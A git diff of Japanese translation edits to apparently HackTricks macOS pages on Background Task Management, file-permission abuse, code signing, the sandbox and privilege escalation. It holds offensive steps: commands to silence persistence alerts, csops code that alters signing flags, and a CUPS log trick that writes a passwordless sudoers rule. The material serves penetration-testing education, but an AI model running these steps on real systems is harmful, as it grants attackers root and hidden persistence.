さらに、Appleが管理する**よく知られたアプリケーション**を含むplistファイルがあり、場所は`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`です。
```json
[...]
"us.zoom.ZoomDaemon" => {
@ -77,14 +90,14 @@ MRTアプリケーションは**`/Library/Apple/System/Library/CoreServices/MRT.
}
[...]
```
### 列挙
### Enumeration
AppleのCLIツールを使用して、構成されたすべてのバックグラウンドアイテムを**列挙**することができます:
AppleのCLIツールを使用して、構成されたすべてのバックグラウンドアイテムを**列挙**することが可能です:
```bash
# The tool will always ask for the users password
sfltool dumpbtm
```
さらに、この情報を[**DumpBTM**](https://github.com/objective-see/DumpBTM)を使てリストすることも可能です。
さらに、この情報を[**DumpBTM**](https://github.com/objective-see/DumpBTM)を使用してリストすることも可能です。
```bash
# You need to grant the Terminal Full Disk Access for this to work
chmod +x dumpBTM
@ -95,15 +108,15 @@ xattr -rc dumpBTM # Remove quarantine attr
### BTM の操作
新しい永続性が見つかると、**`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** タイプのイベントが発生します。したがって、この **イベント** が送信されるのを **防ぐ** 方法や、**エージェントがユーザーに警告するのを防ぐ** 方法は、攻撃者が BTM を _**回避**_ するのに役立ちます。
新しい永続性が見つかると、**`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** タイプのイベントが発生します。したがって、この **イベント** が送信されるのを **防ぐ** 方法や、**エージェントがユーザーに警告するのを防ぐ** 方法は、攻撃者が BTM を _**バイパス**_ するのに役立ちます。
- **データベースのリセット**: 次のコマンドを実行すると、データベースがリセットされます(最初から再構築する必要があります)。ただし、何らかの理由で、これを実行した後は **システムが再起動されるまで新しい永続性は警告されません**
- **データベースのリセット**: 次のコマンドを実行すると、データベースがリセットされます(ゼロから再構築されるべきです)。ただし、何らかの理由で、これを実行した後は **システムが再起動されるまで新しい永続性は警告されません**
- **root** が必要です。
```bash
# Reset the database
sfltool resettbtm
```
- **エージェントを停止する**: 新しい検出が見つかったときに**ユーザーに警告しない**ように、エージェントに停止信号を送ることが可能です。
- **エージェントを停止する**: エージェントに停止信号を送信することで、**新しい検出が見つかったときにユーザーに警告しない**ようにすることができます。
```bash
# Get PID
pgrep BackgroundTaskManagementAgent
@ -118,7 +131,7 @@ T
```
- **バグ**: **永続性を作成したプロセスがそれのすぐ後に存在する場合**、デーモンはそれについて**情報を取得しようとし**、**失敗し**、**新しいものが永続していることを示すイベントを送信できなくなります**。
参照および**BTMに関する詳細情報**:
BTMに関する参考文献と**詳細情報**:
- [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
- [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)

View File

@ -8,9 +8,9 @@
- **read** - ディレクトリエントリを**列挙**できます
- **write** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。
- ただし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。
- しかし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。
- **フォルダの名前を変更**することは、そのフォルダを所有していない限りできません。
- **execute** - ディレクトリを**横断することが許可**されていますこの権利がないと、その中のファイルやサブディレクトリにアクセスできません。
- **execute** - ディレクトリを**横断することが許可**されています - この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
### Dangerous Combinations
@ -24,7 +24,7 @@
### Folder root R+X Special case
**rootのみがR+Xアクセスを持つ**ディレクトリ内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読むために悪用される可能性があります。
**rootのみがR+Xアクセス**を持つ**ディレクトリ**内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読むために悪用される可能性があります。
例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
@ -32,13 +32,13 @@
### Permissive file/folder
特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。
特権プロセスが**低特権ユーザー**によって**制御**される可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成**されたものである場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。
攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。
### Open `O_NOFOLLOW`
関数`open`で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しない正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。
関数`open`で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しないようにする正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。
## .fileloc
@ -60,9 +60,9 @@
### FDの漏洩`O_CLOEXEC`なし)
`open`への呼び出しに`O_CLOEXEC`フラグがない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。
`open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。
**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができます。これにより`exploit.py``/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができ、`exploit.py``/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
@ -84,7 +84,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
```
### defvfs マウント
### defvfs mount
**devfs** マウントは **xattr** をサポートしていません。詳細は [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) を参照してください。
```bash
@ -120,13 +120,13 @@ ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble**ファイル形式は、ファイルとそのACEを含むコピーを作成します。
**AppleDouble** ファイル形式は、ファイルとその ACE を含むコピーを作成します。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) では、xattr の中に保存されている ACL テキスト表現が **`com.apple.acl.text`** と呼ばれ、解凍されたファイルの ACL として設定されることがわかります。したがって、他の xattrs の書き込みを防ぐ ACL を持つ **AppleDouble** ファイル形式の zip ファイルにアプリケーションを圧縮した場合... 検疫 xattr はアプリケーションに設定されませんでした:
詳細については[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
詳細については[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) を確認してください。
これを再現するには、まず正しいacl文字列を取得する必要があります
これを再現するには、まず正しい acl 文字列を取得する必要があります:
```bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
@ -158,7 +158,7 @@ macos-xattr-acls-extra-stuff.md
一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/lsを取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。
### フラグ`CS_REQUIRE_LV``CS_FORCED_LV`のバイパス
### フラグ`CS_REQUIRE_LV`および`CS_FORCED_LV`のバイパス
実行中のバイナリが自分自身のフラグを変更してチェックをバイパスすることが可能です。コードは次のようになります:
```c
@ -173,7 +173,7 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## バイパスコード署名
## コード署名のバイパス
バンドルには、**`_CodeSignature/CodeResources`** というファイルが含まれており、これは **バンドル** 内のすべての **ファイル****ハッシュ** を含んでいます。CodeResources のハッシュは **実行可能ファイル** にも **埋め込まれている** ため、それをいじることはできません。
@ -221,13 +221,13 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
...
</dict>
```
リソースの署名をCLIから計算することが可能です:
CLIからリソースの署名を計算することができます:
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
## Mount dmgs
ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です
ユーザーは、既存のフォルダーの上にカスタムで作成されたdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -248,20 +248,20 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
通常、macOSは`com.apple.DiskArbitrarion.diskarbitrariond` Machサービス`/usr/libexec/diskarbitrationd`によって提供されると通信してディスクをマウントします。LaunchDaemons plistファイルに`-d`パラメータを追加して再起動すると、`/var/log/diskarbitrationd.log`にログを保存します。\
通常、macOSは`com.apple.DiskArbitrarion.diskarbitrariond` Machサービス`/usr/libexec/diskarbitrationd`によって提供されると通信してディスクをマウントします。LaunchDaemons plistファイルに`-d`パラメータを追加して再起動すると、`/var/log/diskarbitrationd.log`にログが保存されます。\
ただし、`hdik``hdiutil`のようなツールを使用して、`com.apple.driver.DiskImages` kextと直接通信することも可能です。
## 任意の書き込み
### 定期的なシェルスクリプト
### 定期的なshスクリプト
あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。
このスクリプトの実行を**偽装**するには、**`sudo periodic daily`**を使用できます。
このスクリプトの実行を**偽装**することができます:**`sudo periodic daily`**
### デーモン
任意の**LaunchDaemon**を作成します。例えば、**`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**のように、任意のスクリプトを実行するplistを作成します。
任意のスクリプトを実行するplistを持つ任意の**LaunchDaemon**を作成します。例えば、**`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**のように
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -300,19 +300,19 @@ ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
の操作により、パーミッションが777のファイル`/etc/sudoers.d/lpe`が作成されます。最後の余分なゴミはエラーログの作成をトリガーするためのものです。
れは、パーミッション777で`/etc/sudoers.d/lpe`というファイルを作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。
次に、`/etc/sudoers.d/lpe`に特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。
次に、`/etc/sudoers.d/lpe`特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。
その後、再度`/etc/cups/cups-files.conf`ファイルを修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。
その後、`/etc/cups/cups-files.conf`ファイルを再度修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。
### サンドボックスエスケープ
FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにして`open`を使用して呼び出すことです。
macOSサンドボックスをFSの任意の書き込みでエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにして`open`を使用して呼び出すことです。
## 他のユーザーとして書き込み可能なファイルを生成する
これは、私が書き込み可能なrootに属するファイルを生成します[**ここからのコード**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。これは特権昇格としても機能する可能性があります
これは、私が書き込み可能なrootに属するファイルを生成します[**ここからのコード**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。これは特権昇格としても機能する可能性があります
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -326,7 +326,7 @@ echo $FILENAME
```
## POSIX共有メモリ
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()``close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を可能にします。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()``close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
<details>
@ -424,7 +424,7 @@ return 0;
**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに**別の脆弱なスレッドがそれにアクセスできる**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです:
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、たとえば、スレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです:
- `guarded_open_np`: ガード付きでFDをオープン
- `guarded_close_np`: 閉じる

View File

@ -4,13 +4,13 @@
## 基本情報
MacOS Sandbox最初はSeatbeltと呼ばれていましたは、**サンドボックス内で実行されるアプリケーションを、アプリが実行されているサンドボックスプロファイルで指定された**許可されたアクション**制限します**。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。
MacOS Sandbox最初はSeatbeltと呼ばれていましたは、**サンドボックス内で実行されるアプリケーション**を、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**制限します。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。
**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Storeのすべてのアプリケーションはその権限を持っています**。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。
**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Store**のすべてのアプリケーションはその権限を持っています。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。
プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフックを持っています**(ほとんどのシステムコールを含む)**MACF**を使用しています。しかし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。
プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフック**を持っています(ほとんどのシステムコールを含む)**MACF**を使用しています。ただし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。
サンドボックスの重要なコンポーネントは以下の通りです:
サンドボックスの重要なコンポーネントは次のとおりです:
- **カーネル拡張** `/System/Library/Extensions/Sandbox.kext`
- **プライベートフレームワーク** `/System/Library/PrivateFrameworks/AppSandbox.framework`
@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> サンドボックスから「脱出」して他のフォルダにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は`RedirectablePaths`の**`.plist`**内にあります。
> 注意してください。シンボリックリンクがSandboxから「脱出」して他のフォルダにアクセスするために存在していても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は`RedirectablePaths`の**`.plist`**内にあります。
**`SandboxProfileData`**は、B64にエスケープされたコンパイル済みサンドボックスプロファイルCFDataです。
**`SandboxProfileData`**は、B64にエスケープされたコンパイル済みサンドボックスプロファイルCFDataです。
```bash
# Get container config
## You need FDA to access the file, not even just root can read it
@ -106,13 +106,13 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
> [!WARNING]
> サンドボックスアプリケーションによって作成または変更されたすべてのものには、**隔離属性**が付与されます。これは、サンドボックスアプリが**`open`**を使用して何かを実行しようとした場合に、Gatekeeperをトリガーすることによってサンドボックス空間を防ぎます。
> サンドボックスアプリケーションによって作成または変更されたすべてのものには、**隔離属性**が付与されます。これは、サンドボックスアプリが**`open`**を使用して何かを実行しようとした場合に、Gatekeeperをトリガーしてサンドボックススペースを防ぐことになります。
## サンドボックスプロファイル
サンドボックスプロファイルは、その**サンドボックス**で何が**許可/禁止**されるかを示す設定ファイルです。これは、[**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>)プログラミング言語を使用する**サンドボックスプロファイル言語SBPL**を使用します。
ここに例があります
ここに例があります:
```scheme
(version 1) ; First you get the version
@ -131,15 +131,15 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
)
```
> [!TIP]
> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)を確認して、許可または拒否される可能性のあるアクションを確認してください。
> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)を確認して、許可または拒否される可能性のあるアクションをさらに確認してください。
>
> プロファイルのコンパイル版では、操作の名前がdylibおよびkextによって知られている配列のエントリに置き換えられ、コンパイル版が短く、読みづらくなります。
> プロファイルのコンパイル版では、操作の名前がdylibおよびkextによって知られる配列のエントリに置き換えられ、コンパイル版が短く、読みづらくなります。
重要な**システムサービス**も、`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます:
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
- 他のサンドボックスプロファイルは[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)で確認できます。
- その他のサンドボックスプロファイルは[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)で確認できます。
**App Store**アプリは**プロファイル****`/System/Library/Sandbox/Profiles/application.sb`**を使用します。このプロファイルで、**`com.apple.security.network.server`**のような権限がプロセスにネットワークを使用することを許可する方法を確認できます。
@ -199,13 +199,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> **Apple**が作成した**ソフトウェア**は**Windows**上で**追加のセキュリティ対策**を持っていないことに注意してください。アプリケーションサンドボックスなど
> [!TIP]
> **Appleが作成した** **ソフトウェア**は**Windows**上で**追加のセキュリティ対策**、例えばアプリケーションサンドボックスがありません
バイパスの例:
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)彼らは`~$`で始まる名前のファイルをサンドボックスの外に書き込むことができます
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (彼らは`~$`で始まる名前のファイルをサンドボックスの外に書き込むことができます)
### サンドボックストレース
@ -216,18 +216,18 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
(version 1)
(trace /tmp/trace.out)
```
その後、そのプロファイルを使用して何かを実行します:
そのプロファイルを使用して何かを実行します:
```bash
sandbox-exec -f /tmp/trace.sb /bin/ls
```
`/tmp/trace.out` では、呼び出されるたびに実行され各サンドボックスチェックを見ることができます(つまり、多くの重複があります)。
`/tmp/trace.out` では、呼び出されるたびに実行され各サンドボックスチェックを見ることができます(つまり、多くの重複があります)。
**`-t`** パラメータを使用してサンドボックスをトレースすることも可能です: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### API経由
`libsystem_sandbox.dylib` にエクスポートされ関数 `sandbox_set_trace_path` は、サンドボックスチェックが書き込まれるトレースファイル名を指定することを可能にします。\
`sandbox_vtrace_enable()` を呼び出し、その後 `sandbox_vtrace_report()` を呼び出してバッファからログエラーを取得すること、同様のことが可能です。
`libsystem_sandbox.dylib` にエクスポートされている関数 `sandbox_set_trace_path` は、サンドボックスチェックが書き込まれるトレースファイル名を指定することを可能にします。\
`sandbox_vtrace_enable()` を呼び出し、その後 `sandbox_vtrace_report()` を呼び出すことでバッファからログエラーを取得することも可能です。
### サンドボックス検査
@ -235,7 +235,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
### MacOS & iOS サンドボックスプロファイル
MacOS は、システムサンドボックスプロファイルを **/usr/share/sandbox/** と **/System/Library/Sandbox/Profiles** の2つの場所に保存します
MacOS は、システムサンドボックスプロファイルを2つの場所に保存します: **/usr/share/sandbox/** と **/System/Library/Sandbox/Profiles**。
サードパーティアプリケーションが _**com.apple.security.app-sandbox**_ 権限を持っている場合、システムはそのプロセスに **/System/Library/Sandbox/Profiles/application.sb** プロファイルを適用します。
@ -243,7 +243,7 @@ iOS では、デフォルトプロファイルは **container** と呼ばれ、S
### App Store アプリのカスタム SBPL
企業が **カスタムサンドボックスプロファイル**アプリを実行することが可能かもしれません(デフォルトのものではなく)。彼らは、Apple によって承認される必要がある **`com.apple.security.temporary-exception.sbpl`** 権限を使用する必要があります。
企業がアプリを **カスタムサンドボックスプロファイル**実行することが可能です(デフォルトのものではなく)。彼らは **`com.apple.security.temporary-exception.sbpl`** 権限を使用する必要があり、これは Apple によって承認される必要があります。
この権限の定義は **`/System/Library/Sandbox/Profiles/application.sb:`** で確認できます。
```scheme
@ -253,21 +253,21 @@ iOS では、デフォルトプロファイルは **container** と呼ばれ、S
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
この権限の後の文字列は、Sandboxプロファイルとして**eval**されます。
この権限の後の文字列を**eval**し、Sandboxプロファイルとして扱います。
### Sandboxプロファイルのコンパイルとデコンパイル
**`sandbox-exec`**ツールは、`libsandbox.dylib``sandbox_compile_*`関数を使用します。エクスポートされる主な関数は次のとおりです:`sandbox_compile_file`(ファイルパスを期待、パラメータ`-f`)、`sandbox_compile_string`(文字列を期待、パラメータ`-p`)、`sandbox_compile_name`(コンテナの名前を期待、パラメータ`-n`)、`sandbox_compile_entitlements`権限plistを期待
この逆コンパイルされた[**オープンソース版のsandbox-execツール**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)は、**`sandbox-exec`**がコンパイルされたSandboxプロファイルをファイルに書き込むことを可能にします。
この逆コンパイルされた[**sandbox-execツールのオープンソース版**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)は、**`sandbox-exec`**がコンパイルされたSandboxプロファイルをファイルに書き込むことを可能にします。
さらに、プロセスをコンテナ内に制限するために、`sandbox_spawnattrs_set[container/profilename]`を呼び出し、コンテナまたは既存のプロファイルを渡すことがあります。
さらに、コンテナ内でプロセスを制限するために、`sandbox_spawnattrs_set[container/profilename]`を呼び出し、コンテナまたは既存のプロファイルを渡すことがあります。
## Sandboxのデバッグとバイパス
macOSでは、プロセスがカーネルによって最初からサンドボックス化されるiOSとは異なり、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが積極的にサンドボックスに入ることを決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。
macOSでは、iOSとは異なり、プロセスはカーネルによって最初からサンドボックス化されているわけではなく、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが積極的にサンドボックスに入ることを決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。
プロセスは、権限`com.apple.security.app-sandbox`を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、を確認してください:
プロセスは、権限`com.apple.security.app-sandbox`を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、以下を確認してください:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -275,7 +275,7 @@ macos-sandbox-debug-and-bypass/
## **Sandbox拡張**
拡張はオブジェクトにさらなる権限を与えることを可能にし、次の関数のいずれかを呼び出すことで与えられます:
拡張はオブジェクトにさらなる権限を与えることを可能にし、次の関数のいずれかを呼び出すことで行われます:
- `sandbox_issue_extension`
- `sandbox_extension_issue_file[_with_new_type]`
@ -354,25 +354,25 @@ iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべ
- **`hook_policy_init`**: `mpo_policy_init`をフックし、`mac_policy_register`の後に呼び出されます。サンドボックスの初期化のほとんどを実行します。また、SIPも初期化します。
- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel``security.mac.sandbox.audio_active`、および`security.mac.sandbox.debug_mode`を登録するsysctlインターフェースを設定します`PE_i_can_has_debugger`でブートされた場合)。
- **`hook_policy_syscall`**: "Sandbox"を最初の引数、操作を示すコードを2番目の引数として`mac_syscall`によって呼び出されます。スイッチを使用して、要求されたコードに応じて実行するコードを見つけます。
- **`hook_policy_syscall`**: "Sandbox"を最初の引数として、操作を示すコードを2番目の引数として`mac_syscall`によって呼び出されます。要求されたコードに応じて実行するコードを見つけるためにスイッチが使用されます。
### MACF Hooks
**`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行できるかどうかを確認するための些細なケースをチェックし、そうでない場合は**`cred_sb_evalutate`**を呼び出し、**操作**を実行するための**資格情報**と**出力**用の**バッファ**を渡します。
**`Sandbox.kext`**は、MACFを介して100以上のフックを使用しています。ほとんどのフックは、アクションを実行できるかどうかを確認するための些細なケースをチェックし、そうでない場合は**`cred_sb_evalutate`**を呼び出し、**操作**を実行するための**資格情報**と出力用の**バッファ**を渡します。
